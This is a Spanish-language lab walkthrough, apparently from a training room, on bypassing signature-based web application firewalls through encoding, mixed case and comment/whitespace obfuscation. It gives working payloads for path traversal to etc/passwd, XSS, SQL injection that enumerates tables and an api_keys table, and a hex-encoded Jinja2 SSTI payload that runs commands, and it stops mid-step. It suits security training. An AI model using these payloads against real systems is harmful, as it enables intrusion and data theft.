La mayoría de los WAFs detecta peticiones maliciosas buscando patrones conocidos o firmas en sitios donde un atacante toma el control. Una regla típicamente normaliza el input, ejecuta uno o más comprobaciones de patrones y luego toma acción.
En esta tarea exploraremos las técnicas que pueden ser usada para bypassear un WAF diseñado para detectar firmas y patrones. Los métodos que pueden ser usados para conseguir esto:
- Esquemas de encoding.
- Sensibilidad de mayúsculas.
- Ofuscación con whitespaces y delimitadores.
Técnicas de Encoding
Las técnicas de enconding son normalmente usadas para evadir reglas de detección de WAF, especialmente cuando el WAF no normaliza el input de la misma manera que el backend. Por ejemplo, cuando el input no es decodeado antes de la comprobación de coincidencia de patrones. Los siguientes son algunos ejemplos de caracteres y sus valores encodeados:
- URL-encoding:
/------>%2f - Hex-encoding:
_------>\x5f, 0x5f - Unicode-encoding:
%-->\u0025
Por ejemplo, un WAF puede que sólo realice comprobación de coincidencia de patrones en inputs que contengan secuencias de caracteres transversales (../, ..\ ) al detectar ataques de LFI. En la mayoría de casos, esta protección puede ser bypasseada ofreciendo equivalentes URL-encodeados que prevengan el regex de coincidir.
El siguiente payload puede ser usado para bypassear dicha protección: ..%2f..%2f..%2fetc/passwd
Usando Formato Mixed-Case
Usando palabras clave con mayúsculas mezcladas es otra técnica que puede ser usada para evadir reglas de detección de WAFs. Los WAFs comúnmente se defienden contra esta técnica transformando los inputs a minúsculas o usando patrones insensitivos antes de comprobar las firmas. Sin embargo, si un WAF está configurado para mirar sólo los patrones literales sensitivos, usar mezcla de mayúsculas podría resultar ser una técnica efectiva para evadir la detección. Los siguientes son algunos ejemplos de caracteres con mayúsculas mezcladas:
sEleCt * fRoM users<scrIpT>aLerT(1)</scrIpT>
Ofuscación Usando White Space y Delimiters
La ofuscación usando espacios en blanco y delimitadores es otra técnica que puede ser empleada para evadir reglas de detección del WAF. Debido a que los WAFs suelen mirar coincidencias exactas de patrones y firmas de ataques conocidos, incorporar espacios, tabulaciones, carriage returns, newlines, comentarios o separadores a los payloads puede evadir de forma efectiva la detección. Esta técnica funciona principalmente contra ataques del lado del cliente porque los navegadores normalizan y ejecutan código, incluso cuando hay caracteres no printables presentes.
Aquí un par de ejemplos de payloads que podrían evadir esta detección:
'/**/UNION/**/SELECT/**/1,2<a/href=j
avascript:a
lert(1)>aaa</a>
Poniéndolo en Práctica
Usando las técnicas cubiertas en esta tarea, bypassearemos el WAF para explotar una inyección SQL en la funcionalidad de búsqueda de la aplicación del Blog. Introduce el siguiente payload:
' UNION SELECT 1,2,3,4;--
Observa que el WAF bloquea el ataque y devuelve un 403 Forbidden.
Sin embargo, como el WAF está configurado para coincidir con palabras clave SQL que contienen espacios, podemos usar mixed cases y comentarios (/**/) como espacios en blanco para bypassearlo. Al subir el siguiente payload observamos que el WAF no bloquea el ataque:
'/**/uNion/**/sElect/**/1,2,3,4;--
Ejecuta el siguiente payload para enumerar nombres de tablas.
'/**/uNion/**/sElect/**/1,2,name,4 FROM sqlite_master WHERE type='table';--
Para obtener los nombres de las columnas, subimos el siguiente payload:
'/**/uNion/**/sElect/**/1,2,sql,4 FROM sqlite_master WHERE name='api_keys';--
Bypass WAF para Explotar una Vulnerabilidad de Inyección de Plantilla del Lado del Servidor (SSTI)
Si te cruzas con una vulnerabilidad SSTI pero no puedes hacer nada más que mandar payloads inofensivos como {{ 7*7 }} debido a la protección de un WAF, puedes usar métodos cubiertos en esta tarea para evitar la detección.
En esta sección explotaremos la funcionalidad de renderizado de plantillas en la aplicación de Blog, la cual es vulnerable a SSTI.
La imagen de abajo muestra un payload estándar que ha sido subida para confirmar la presencia de dicha vulnerabilidad en la aplicación.
Sin embargo, si intentas explotarla para obtener ejecución de comandos, debido a las reglas del WAF, esta es bloqueada. Si subimos el siguiente payload:
{{ seld.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
La respuesta obtenida es:
El WAF bloquea esta petición debido a que detecta el uso de expresiones parecidas a funciones. Podemos evitarlo evitando el uso de puntos utilizando un acceso de atributos de estilo diccionario (por ejemplo {{ self["__init__"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("id")["read"]() }}). Sin embargo, este payload podría seguir siendo bloqueado debido a patrones y firmas presentes. Encodearlos en hexadecimal es particularmente útil en este caso porque el parser de Python puede decodear valores hexadecimales. Podemos usar una herramienta como CyberChef para conseguir esto.
La figura de abajo muestra que proporcionar el siguiente payload sería procesado por el motor de plantillas Jinja2 de Python.
{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x69\x64')['\x72\x65\x61\x64']() }}
Para probarlo, lo hacemos en nuestra máquina:
root@ip-10-201-81-207:~# python3 Python 3.8.10 (default, Sep 11 2024, 16:02:53) [GCC 9.4.0] on linux Type "help", "copyright", "credits" or "license" for more information.
>>> import jinja2 >>> jinja2.Template("{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x69\x64')['\x72\x65\x61\x64']() }}").render() 'uid=0(root) gid=0(root) groups=0(root),998(docker),1001(rvm)\n' >>>
Si ahora lo subimos a la página:
